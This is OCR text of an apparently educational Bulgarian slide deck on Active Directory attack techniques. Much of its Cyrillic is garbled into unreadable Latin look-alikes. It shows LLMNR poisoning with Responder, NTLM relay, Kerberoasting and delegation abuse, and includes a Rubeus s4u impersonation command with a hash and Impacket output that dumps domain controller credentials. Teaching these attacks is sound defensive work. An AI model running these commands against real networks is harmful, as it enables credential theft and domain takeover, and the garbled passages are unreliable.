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LYUBEN PETROV ama[as

AkTnBHa Aupektopus (AA)

MHoro dyHUKUOHAAHOCTHU, OFPOMHA NOBBLPXHOCT 30 ATAKYBOHE

NTLM u Keberos - asTeHTUKAUMA U oTopusauua B AA
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The NTLM Family

NTLM ce 13MOA3BA 30 AOKAAHA AaBTeHTUKaumsa. [lpmmep: Crnac MCcka AQ CH
oTkAYM Windows-a. lNMuriue cm napoAata, NTLM XeLlbT HO HOMMCAHATA NAPOAQ
Ce CPOBHYBA C TA3M OT 6A3ATA AOHHM M OKO CbBMNAAAT, Crnac OGmMBA AOTHAT.

Net-NTLM ce 13MNoA3BA 30 MPEXOBA ABTEHTUKALLMUSA, KOTATO MCKAOME AQ
AOCTBIMUM HAKOM CbPBUC HA XOCT (SMB, RDP). NTLM XxeLubT Ce Cb3AABA OT
NAPOAQATA M MOCAE Ce 13NoA3Ba B Net-NTLM challenge-response.

ToecT, B AA Cce M3MNOA3BAT U ABETE. HE CAO B3AMMOU3KAIOYBALLLUM CE.
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amatas
Net-NTLMv2

TepmuHbT Net-NTLMv1/v2 xew ce 13noA3BA B MUHAYCTPUATA, 30 AQ OMULLIE OTTOBOPA,
reHepupaH no speme Ha Net-NTLMv 1/v2 asTeHT1kaums.

B KAQCHMYECKMI CMUCHA TOBA HE CA XeLwloBe, HO 30 rEHEPAPUHAETO MM Ce M3MOA3BA NT
xeLua. [Nopaam Tasm NPUYMHA MOraT Ad 6bAAQT 06ekT Ha brute force aTaka.

SC = 8-byte server challenge, random

CC = 8-byte client challenge, random

CC* = (X, time, CC2, domain name)

v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)

NTv2 = HMAC-MD5(v2-Hash, SC, CC*)

response = LMv2 | CC | NTv2 | CC*
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LLMNR/NTB-NS Poisoning

19153
19154
19155
19157
19165
19167
19168

131.
131.
131.
131.
131.
131.
131.

Link Local Multicast Name Resolution (LLMNR) 11 NetBIOS Net Service (NBT-NS) AonbaBaT
BbTPELLIHMA DNS B AA, KOrato Tom He ycnee A0 HOMEPU AOAEH AAPEC.

3a pa3Anka oT DNS, LLMNR 3aBKMTE €€ U3IABYBAT B LUAAATA MpeXad. CAEAOBATEAHO, BCEKM
' BUDKAQA U BCEKM MOXKE AQ OTTOBOPU HA TAX. ;)

130134
130975
131347
133128
143883
144890
146903

fe80::3fa9:5815:
feB80::3fa9:5815:
fe80::3291:8fff:
fe80::3291:8fff:
fe80::3fa9:5815:
192.168.1.85

feB0::3fa9:5815:

4cc..
4cc..
feS.
feS.
4cc.

4cc.

feso::
feB0::
fedo:
fed0:

ffo2

3291:8fff:feS51:7d9
3291:8fff:fe51:7d9
:3fa9:5815:4cc:5cll
:3fa9:5815:4cc:5cl1
$3%23

224.0.0.252

ffo2

s21:23

DNS
DNS
DNS
DNS
LLMNR
LLMNR
LLMNR

88 Standard
88 Standard
88 Standard
88 Standard
84 Standard
64 Standard
84 Standard

query
query
query
query
query
query
query

Oxa8b6 A test.lan

Oxe319 AAAA test.lan

response @xaBbé No such name A test.lan
response 9xe319 No such name AAAA test.lan
Ox2048 A test

Ox2048 A test

2x3446 AAAA test
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LLMNR/NTBS Poisoning

Spas DNS Server
- [DNS)
o}
J
—
l (—
: Do you know where test.net is? |
>
@ No l
< :

Who is test.net? (broadcast in the whole network)

dMmatas

| am test.net, my IP is 192.168.2.16

< ,

Send me your credentials (NetNTLMv2) so | can verify its's you.
< .'
< :

Net-NTLMv2 challenge-response

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
g
1
1
1
1
1
1
1
1
1
1
1
1

Network
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Tout Travail Applications Documents Web

LLMNR/NTBS Poisoning

O.

sudo responder -I etho

Meilleur résultat

%l \\test
- )
Exécuter la commande

|LLMNR] Poisoned answer sent
NTLMv2-SSP Client
NTLMv2-SSP Username :

NTLMv2-SSP Hash
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NTLM Relay

dMmatas

Here is the reply to your challenge (Net-NTLMv2 response)

>

Relay Net-NTLMv2 response from Spas:

Net-NTLMv2 challenge-response relay

Hello, Spas!

.

Network

\_4

Q) T ';I

™~

| _-'

DNS Server o
Spas Marto File server (SMB share)
e A
T ° =1
==
' Do you know where test.net is? : ; .
ar g : |
E No ! - ;
:( : - i
@ E Who is test.net? (broadcast in the whole network) l -
| am test.net, my IP is 192.168.2.16
€ i : :
: Let's start an NTLM exachange. ! i
: < : : Hi, | would like access. !
; i ! > @
. : L Here is the NTLM challenge. :
Here is the NTLM challenge to authenticate yourself (relayed challenge) | .
< . : !
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Kerberos

Ae-daKTo CTAHAQPTA 30 ABTEHTUKALMUSA U OTOPU3ALLUS

U3snoassa 6uaeTu (tickets) BMecTo napoaum

He usnpala napoAu uAm xewose no mpexaral
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Kerberos

4 )

2. AS-REP:
- Encrypted Ticket Granting Ticket
(TGT)
1. AS-REQ:
- Encrypted timestamp using the user's password-
derived key
1. AS-REQ: 3. TGS-REQ:
Encrypted timestamp using the . Encrypted Ticket Granting )
ser's password-derived key icket (TGT) \
4. TGS-REP:
- A Ticket Granting Server (TGS) ticket
(encrypted with the target service's key)
TGS ticket = Ticket Granting Server ticket =
service ticket

5. AP-REQ:
Service ticket (encrypted with the
ervice's key)

6. AP-REP: W

- Encrypted confirmation message J
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Kerberos e

/ 2. AS-REP:
/ Encrypted Ticket Granting Ticket

/ TGT)
(/ 2. AS-REP:
- Encrypted Ticket Granting Ticket (TGT)
1. AS-REQ: 3. TGS-REQ:
- Encrypted timestamp using the - Encrypted Ticket Granting
user's password-derived key Ticket (TGT) \ )

4. TGS-REP:
- A Ticket Granting Server (TGS) ticket
(encrypted with the target service's key)
* TGS ticket = Ticket Granting Server ticket =
service ticket
F

5. AP-REQ:
- Service ticket (encrypted with the
service's key)

6. AP-REP: W

- Encrypted confirmation message J
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Kerberos /

/

2. AS-REP:
- Encrypted Ticket Granting Ticket
(TGT)
3. TGS-REQ:
- Encrypted Ticket Granting Ticket (TGT)
LASREQ: 3. TGS-REQ:

- Encrypted timestamp using the Encrypted Ticket Granting )
user's password-derived key icket (TGT) \

4. TGS-REP:
- A Ticket Granting Server (TGS) ticket
(encrypted with the target service's key)
TGS ticket = Ticket Granting Server ticket =
service ticket

5. AP-REQ:
Service ticket (encrypted with the
ervice's key)

6. AP-REP: W

- Encrypted confirmation message J
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Kerberos i

/
/
/ 2. AS-REP: )
/ - E ted Ticket Granting Ticket
/ (Té'l-ltzl)’yp e ICKe ranting licke | | 4. TGS-REP |
' A Ticket Granting Server (TGS) ticket (encrypted
/ ith the target service's key)
TGS ticket = Ticket Granting Server ticket = service
LASREQ: 3. TGS-REQ: icket
- Encrypted timestamp using the . Encrypted Ticket Granting
user's password-derived key icket (TGT) )
4. TGS-REP:

A Ticket Granting Server (TGS) ticket
encrypted with the target service's key)
TGS ticket = Ticket Granting Server ticket =

ervice ticket
5. AP-REQ:
- Service ticket (encrypted with the
ervice's key)

6. AP-REP: W

- Encrypted confirmation message J
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Kerberos T
/'/’
/
/
/
/ 2. AS-REP: 4 \
/- - Encrypted Ticket Granting Ticket
/ (TGT)
/ 5. AP-REQ:
- Service ticket (encrypted with the service's key)
1. ASHEQ: 3. TGS-REQ:
- Encrypted timestamp using the . Encrypted Ticket Granting
user's password-derived key icket (TGT) \ )

4. TGS-REP:
- A Ticket Granting Server (TGS) ticket
(encrypted with the target service's key)
TGS ticket = Ticket Granting Server ticket =
service ticket

%o
5. AP-REQ:

Service ticket (encrypted with the

ervice's key)

W T

YT

4

Wy
n

SQL / application server

6. AP-REP: W

- Encrypted confirmation message J
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A A
/,,// [ /AQ
Kerberos »
2. AS-REP: ( \
- Encrypted Ticket Granting Ticket
/ (TGT)
( 6. AP-REP:
. - Encrypted confirmation message
1. AS-REQ: 3. TGS-REQ:
i Ent':rypted tlmestarT\p using the - Encrypted Ticket Granting
user's password-derived key icket (TGT) \ )

4. TGS-REP:
- A Ticket Granting Server (TGS) ticket
(encrypted with the target service's key)
TGS ticket = Ticket Granting Server ticket =
service ticket

5. AP-REQ:
Service ticket (encrypted with the
ervice's key)

6. AP-REP: ] e’

A’ - Encrypted confirmation message J

—
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AereHaaq:

* s o =TGS

@] = service
W

ﬂ = SQL/app server
L 5 |

Do
il

e
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Kerberoasting

DC /| KDC daimatas

VS

2. AS-REP:
- Encrypted Ticket Granting Ticket
(TGT)
A BERER: 3. TGS-REQ:
- Encrypted timestamp using the / - Encrypted Ticket Granting
user's password-derived key / icket (TGT)

4. TGS-REP:
- ATGS (service ticket) encrypted with the
arget service's key.

2
<SR
5. AP-REQ: ; g
— - Service ticket (encrypted with the ii . '!
service's key) - g : = B ’
SQL / application server

6. AP-REP: W .

- Encrypted confirmation message J




dMmatas

LYUBEN PETROV

AS-REP Roasting e -

2 2. AS-REP:
2 - Encrypted Ticket Granting Ticket
: (TGT)

| S REQ ] 3. TGS-REQ:
- Encrypted timestamp using the v . Encrypted Ticket Granting
Euser's password-derived key i icket (TGT)

4. TGS-REP:
- ATGS (service ticket) encrypted with the
arget service's key.

P
[
'
'
'
1
'
1
'
'
'
'
'
'
'
i
1
'
'
'
1
'

N

5. AP-REQ: _‘ T
—— - Service ticket (encrypted with the i i Ny ’l
service's key) I.: =’!

SQL / application server

6. AP-REP:
- Encrypted confirmation message J
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The Double Hop Problem

Cnac moxe Aa pooctbnn Web Server-a, HO web server-a He moXxe Aa Aoctenu DB
CbPBbPA OT UMeTo Ha Cnac.

Spas Web server
Database server

v
v

A\ _\
A\ \
WY

2nd

=

op
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Unconsirained Delegation

Web server

Allowed to delegate Databa§e server

A\ 4

Y

N

\

—

A
-

1
<

Domain Controller

f—
.

N COMN

dMmatas

Cnac ce aBTEHTUKMPA.
DC BpbLua TGI.
Cnac m3npalua 3aa8ka 3a TGS 3a web server-a.

DC npoBepsgBa 309BKATA M BUXKAQ, He wWeb-
Server-bT UMA HEOTPAHUYEHA AEAETALLMS.

Nopaam Ta3m npuimHa DC mn3aasa TGS, kATo
BrpakAa TGT HaO noTpebuteas BbTpe B GuaeTal

Cnac msnpalua TGS kbm web server-q, 3a AQ
MOAYYM AOCTbHI.

Web server-b1 uzsamda TGT Ha Cnac ot TGS 1 o
M3MOA3BQ, 30 AQ noucka TGS 3a DB server-a.

Web server-b1 AOCTbNBA DB server-a ot umeTo
Ha Cnac.
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Unconstrained Delegation Exploitation

Web server
Pwned Database server

f—
.

Cnac ce aBTEHTUKMPA.
DC BpbLua TGI.
Cnac m3npalua 3aa8ka 3a TGS 3a web server-a.

N COMN

DC npoBepsgBa 309BKATA M BUXKAQ, He wWeb-
Server-bT UMA HEOTPAHUYEHA AEAETALLMS.
Nopaam Ta3m npuimHa DC mn3aasa TGS, kATo
BrpakAa TGT HaO noTpebuteas BbTpe B GuaeTal

6 5. Cnac msnpalua TGS kbm web server-q, 3a AQ
MOAYYU AOCTHI.

6. MapTo MOXe Ad MOUCKA AOCTHIN AO BCAKQ

- 2 > - YCAYra ot umeTo Ha Cnac usnoaAssamku TGT Ha
< 3 Cnac .
- 2 N I 7. MapTto AocTbnBa 6a3aTa AGHHM C HUBOTO HA
' 1 lll AocTbn Ha Cnac.
Spas

Domain Controller



Kerberos Constrained Delegation

»
A\ . b
\
»

€ KaTo

Unconstrained Delegation

camo ye Constrained.
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Consirained Delegation with Protocol Transition

YcaoBue: Web server-u1 1p90Ba AQ MAMA CBOMCTBOTO TRUSTED _TO_AUTH_FOR_DELEGATION.

P5 C:\Usersispot> Get-NetComputer select name, msds-allowedtodelegateto, useraccountcontrol | 1

name » W82

msds-allowedtodelegateto : {ldap/dc@l.offense.local/DomainDnsZones.offense.local,
ldap/dc8l.offense.local/ForestDnsiones.offense.local,
ldap/dc®l.offense.local/offense.local, ldap/dcdl.offense.local...}

useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED _TO _AUTH_FOR_DELEGATION

TOBO CBOMCTBO MO3BOASBA HO AEAETMPALLLATA MALLMHATA AQ MOAY4aBA TGS OT MMETO HA
notpeduteAq, bE3 AA NMPEACTABA TGT 3A TO3U NOTPEBUTEA.
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Consirained Delegation with Protocol Transition

userl Properties ? e
»AEH KOHTPOA BbPXY Web
" N N " " N '\3BO
Organization Member Of Dial-in Environment Sessions JTH_FOR_DELEGATION
: : 1cka TGS 3a CIFS
Remate control Remate Desktop Services Profile COM+ S T (el
General  Address  Account Profile ~ Telephones — Delegation  :solicteo TGS-bT moxe Aa

noYT™U BCEKU

AOMEUHA.

Delegation is a securty-sensitive operation, which allows services to act on
30 TGS, 30 AQ AOCTHIMU

behalf of another user. ase Server-a oT MMETO
Administrator)

() Do not trust this user for delegation
() Trust this user for delegation to any service (Kerberos only)
(@) Trust this user for delegation to specified services only

() Use Kerberos only
(@) Use any authentication protocol

AO FOAMAOBATA CMCTEMA



LYUBEN PETROV

Constrained Delegation with Alternate Service

YcAoBue: AUMca HO BOAMAALIMS HA service name-a npu n3aaeaHe Ha TGS (BaAMAMpPa ce

CAMO server name).

Tasm MMCKOHdoumrypaums
H1 MO3BOAABA AQ 3ASBUM
TGS 3a no-onaceH
cbvpBcuc kato CIFS,
BMECTO 30 LDAP.

| T s T s SO o T s B e SO e TN s T e T e B |

= = = = = = = =

= = 4

e e e e e e e e e e

Rubeus.exe s4u /user:patsy
/rc4d:2b576acbe6bcfda7294d6bd18041b8fe

/impersonateuser:dfm.a
/msdsspn:"ldap/PRIMARY.testlab.local”

/ptt

Impersonating user 'dfm.a" to target 5PN 'ldap/PRIMARY.testlab.local’
Final ticket will be for the alternate service 'cifs'

Using domain controller: PRIMARY.testlab.local (192.168.52.100)

Building S4UZproxy request for service: 'ldap/PRIMARY.testlab.local’

Sending S4U2proxy request

Connecting to 192.168.52.100:88

Sent 2641 bytes

Received 1829 bytes

S4U2proxy success!

Substituting alternative service name 'cifs'
baseb4(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local":

doIGujCCBragAwIBBaEDAgEWoOD. . (snip). .

dMmatas
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Constrained Delegation with Alternate Service

Web server
LDAP/Database server
Pwned Yy e,
A~ 1 | 1. Cnac ce aBTeHTMKMPA.
: A 2. DC BpbLua TGI.
7 ' NV 3. Cnac manpalia 3asska 3a TGS 3a web server-a.
\\ iﬁs”’
CIES/Database server 4, DC npoBepsBa 3A9BKATA M BMXKAQ, Ye wWeb-
server-bT UMA OFPAHUYEHA AEAETALLMS.
Nopaamn Ta3m npuimnHa DC mnsaasa TGS, kaTo
5 Broakaa TGT Ha noTpebureas BuTpe B Guaetal
6 5. Cnac msnpalua TGS kbm web server-q, 3a AQ

MOAY4YU AOCTHI.
6. MapTo 3assasa TGS 3a LDAP/DB Server, HO

0 2 > npomens service name-a Ha CIFS B GuaeTa.
o
< 3
g < " 7. MapTo usnoasea TGS-a, 3a Aa AocTtbnu CIFS,
2 > I BMecTO LDAP, Tb1 KOTO MMETO He ce
5 1 II BAAMAMPAQ.

Domain Controller
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Resource-Based Consirained Delegation

[Mou Unconstrained 1 Constrained Delegation, KDC onpeaAeAs KbM KOro moxe Aa 6bae
AeAermpaHo (Hanp. LDAP/DB Server).

[Mown Resource-Based Constrained Delegation, web server-sT CAM onpeAeAst KON MOXe AQ
AEAETUPA KbM HETO.

PS C:\Users\studentl> Get-DomainRBCD

SourceName :| DCORP-MGMT$

SourceType : MACHINE_ACCOUNT

SourceSID : S-1-5-21-719815819-3726368948-3917688648-1108
SourceAccountControl : WORKSTATION_TRUST_ACCOUNT

SourceDistinguishedName : CN=DCORP-MGMT,OU=Servers,DC=dollarcorp,DC=moneycorp,DC=1ocal

ServicePrincipalName : {WSMAN/dcorp-mgmt, WSMAN/dcorp-mgmt.dollarcorp.moneycorp.local, TERMSRV/DCORP-MGMT, TERMSRV/dcorp-mgmt.dol
DelegatedName : DCORP-STUDENT1%$

DelegatedType : MACHINE_ACCOUNT

DelegatedSID : S-1-5-21-719815819-3726368948-3917688648-4110

DelegatedAccountControl : WORKSTATION TRUST(%%iOUNT

DelegatedDistinguishedName : CN=DCORP-STUDENT1)

—

StudentMachines,DC=dollarcorp,DC=moneycorp,DC=1ocal
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Resource-Based Consirained Delegation

[Mou Unconstrained 1 Constrained Delegation, KDC onpeaAeAs KbM KOro moxe Aa 6bae
AeAermpaHo (Hanp. LDAP/DB Server).

[Mown Resource-Based Constrained Delegation, web server-sT CAM onpeAeAst KON MOXe AQ
AEAETUPA KbM HETO.

RBCD moxe Aa ObAE EKCMAOATUPAH, AKO MMOME
notpeduteA ¢ WRITE npasa BbpXy KOMAKOTBLPA, HO KOUTO
e BKAIOYeH RBCD.
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RBCDS !
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Successfully added machine account RBCD$ with password

-~

RBCDS ite-to DC$ -dc-ip 10.0.2.7
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
] Initializing domainDumper()
] Attribute msDS-AllowedToActOnBehalfOfOtherldentity is empty
1 Delegatiaon rights modified successfully!
] RBCD$ can now impersonate users on DC$ via S4U2Proxy
] Accounts allowed to act on behalf of other identity:
] RBCDS (S-1-5-21-1071434215-2697993623-1380600004-1351)

-
*
=
*
*
=

[
[
|
[
[
|
[

10.0.2.7 insecurecorp.local/Pentester:’

insecurecorp.local/Pentester:

dMmatas
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-~

godfather

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating godfather

[*] Requesting S4U2self

[*] Requesting S4U2Proxy

[*] Saving ticket in godfather.ccache

-~

KRBS5CCNAME=godfather.ccache

10.0.2.7 dc.insecurecorp.local
Impacket v¥.10.9 - Lopyrignt 2027 SecureAutn Lorporation

Service Remoi

Starting ser

Target syster

Dumping local
Administrator:So¢
Guest:501:aad3b4:
DefaultAccount:5¢
[-] SAM hashes e
[*] Dumping cache
[{*] Dumping LSA ¢
[*] $MACHINE.ACC
INSECURECORP\DCS:
530239345bcchb5b2:
80eed557a3e14f19;
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THANK YOU!
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